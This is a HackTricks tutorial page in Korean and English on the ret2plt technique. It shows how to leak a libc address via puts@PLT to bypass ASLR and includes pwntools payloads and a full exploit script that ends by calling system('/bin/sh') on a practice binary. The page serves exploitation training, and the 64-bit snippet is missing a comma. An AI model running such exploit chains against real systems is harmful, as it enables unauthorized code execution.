Ret2plt

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

์ด ๊ธฐ๋ฒ•์˜ ๋ชฉ์ ์€ PLT์˜ ํ•จ์ˆ˜์—์„œ ์ฃผ์†Œ๋ฅผ leakํ•˜์—ฌ ASLR์„ ์šฐํšŒํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด libc์—์„œ ํ•จ์ˆ˜ puts์˜ ์ฃผ์†Œ๋ฅผ leakํ•˜๋ฉด, ๊ทธ ํ›„ libc์˜ ๋ฒ ์ด์Šค๊ฐ€ ์–ด๋””์ธ์ง€ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋“ค(์˜ˆ: system)์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•œ offsets๋ฅผ ๊ณ„์‚ฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์€ pwntools payload๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (from here):

# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)

# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)

**puts**๊ฐ€ (PLT์˜ ์ฃผ์†Œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ) GOT (Global Offset Table)์— ์œ„์น˜ํ•œ puts์˜ ์ฃผ์†Œ๋กœ ํ˜ธ์ถœ๋˜๋Š” ๊ฒƒ์„ ์ฃผ๋ชฉํ•˜๋ผ. ์ด๋Š” puts๊ฐ€ puts์˜ GOT ์—”ํŠธ๋ฆฌ๋ฅผ ์ถœ๋ ฅํ•  ์‹œ์ ์—๋Š” ์ด ์—”ํŠธ๋ฆฌ๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ ์ƒ์˜ puts์˜ ์ •ํ™•ํ•œ ์ฃผ์†Œ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

๋˜ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ main์˜ ์ฃผ์†Œ๊ฐ€ ์‚ฌ์šฉ๋˜์–ด puts๊ฐ€ ์‹คํ–‰์„ ๋งˆ์นœ ํ›„ binary๊ฐ€ ์ข…๋ฃŒํ•˜์ง€ ์•Š๊ณ  main์„ ๋‹ค์‹œ ํ˜ธ์ถœํ•œ๋‹ค๋Š” ์ ์„ ์ฃผ๋ชฉํ•˜๋ผ(๋”ฐ๋ผ์„œ leaked address๊ฐ€ ๊ณ„์† ์œ ํšจํ•˜๋‹ค).

Caution

์ด ๊ธฐ๋ฒ•์ด ์ž‘๋™ํ•˜๋ ค๋ฉด binary๊ฐ€ PIE๋กœ ์ปดํŒŒ์ผ๋˜์–ด์„œ๋Š” ์•ˆ ๋œ๋‹ค๊ฑฐ๋‚˜ PLT, GOT ๋ฐ main์˜ ์ฃผ์†Œ๋ฅผ ์•Œ๊ธฐ ์œ„ํ•ด PIE๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•œ leak์„ ์ฐพ์•„์•ผ ํ•œ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜๋ผ. ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๋จผ์ € PIE๋ฅผ ์šฐํšŒํ•ด์•ผ ํ•œ๋‹ค.

You can find a full example of this bypass here. ์ด๊ฒƒ์€ ๊ทธ example์˜ ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์ด์—ˆ๋‹ค:

Full exploit example (ret2plt leak + system) ```python from pwn import *

elf = context.binary = ELF(โ€˜./vuln-32โ€™) libc = elf.libc p = process()

p.recvline()

payload = flat( โ€˜Aโ€™ * 32, elf.plt[โ€˜putsโ€™], elf.sym[โ€˜mainโ€™], elf.got[โ€˜putsโ€™] )

p.sendline(payload)

puts_leak = u32(p.recv(4)) p.recvlines(2)

libc.address = puts_leak - libc.sym[โ€˜putsโ€™] log.success(fโ€™LIBC base: {hex(libc.address)}โ€™)

payload = flat( โ€˜Aโ€™ * 32, libc.sym[โ€˜systemโ€™], libc.sym[โ€˜exitโ€™], next(libc.search(bโ€™/bin/sh\x00โ€™)) )

p.sendline(payload)

p.interactive()

</details>

## Modern considerations

- **`-fno-plt` builds** (common in modern distros) replace `call foo@plt` with `call [foo@got]`. If the binary has no `foo@plt` stub, you can still leak the resolved address with `puts(elf.got['foo'])` and then **return directly to the GOT entry** (`flat(padding, elf.got['foo'])`) to jump into libc once lazy binding has completed.
- **Full RELRO / `-Wl,-z,now`**: GOT is readโ€‘only but ret2plt still works for leaks because you only read the GOT slot. If the symbol was never called, your first ret2plt will also perform lazy binding and then print the resolved slot.
- **ASLR + PIE**: if PIE is enabled, first leak a code pointer (e.g., saved return address, function pointer, or `.plt` entry via another formatโ€‘string/infoleak) to compute the PIE base, then build the ret2plt chain with the rebased PLT/GOT addresses.
- **Nonโ€‘x86 architectures with BTI/PAC (AArch64)**: PLT entries are valid BTI landing pads (`bti c`), so when exploiting on BTIโ€‘enabled binaries prefer jumping into the PLT stub (or another BTIโ€‘annotated gadget) instead of directly into a libc gadget without BTI, otherwise the CPU will raise `BRK`/`PAC` failures.
- **Quick resolution helper**: if the target function is not yet resolved and you need a leak in a single shot, chain the PLT call twice: first `elf.plt['foo']` (to resolve) then again `elf.plt['foo']` with the GOT address as argument to print the nowโ€‘filled slot.

## Other examples & References

- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, ์ฒซ ๋‹จ๊ณ„๋Š” canary์˜ 0x00 ๋ฐ”์ดํŠธ๊นŒ์ง€ overflow๋ฅผ ์ฑ„์›Œ์„œ puts๋ฅผ ํ˜ธ์ถœํ•ด ๊ทธ๊ฒƒ์„ leakํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. canary๋ฅผ ์•Œ๊ฒŒ ๋˜๋ฉด puts์˜ ์ฃผ์†Œ๋ฅผ GOT์—์„œ leakํ•˜๊ธฐ ์œ„ํ•ด puts๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ROP gadget์„ ๋งŒ๋“ค๊ณ , ๊ทธ ๋‹ค์Œ `system('/bin/sh')`๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ROP gadget์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, child ํ•จ์ˆ˜๋กœ๋ถ€ํ„ฐ main์—์„œ ๋ฐœ์ƒํ•˜๋Š” stack overflow. puts๋ฅผ ํ˜ธ์ถœํ•ด GOT์—์„œ puts์˜ ์ฃผ์†Œ๋ฅผ leakํ•˜๋Š” ROP gadget์„ ๋งŒ๋“  ๋‹ค์Œ one gadget์„ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

## References

- [MaskRay โ€“ All about Procedure Linkage Table](https://maskray.me/blog/2021-09-19-all-about-procedure-linkage-table)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>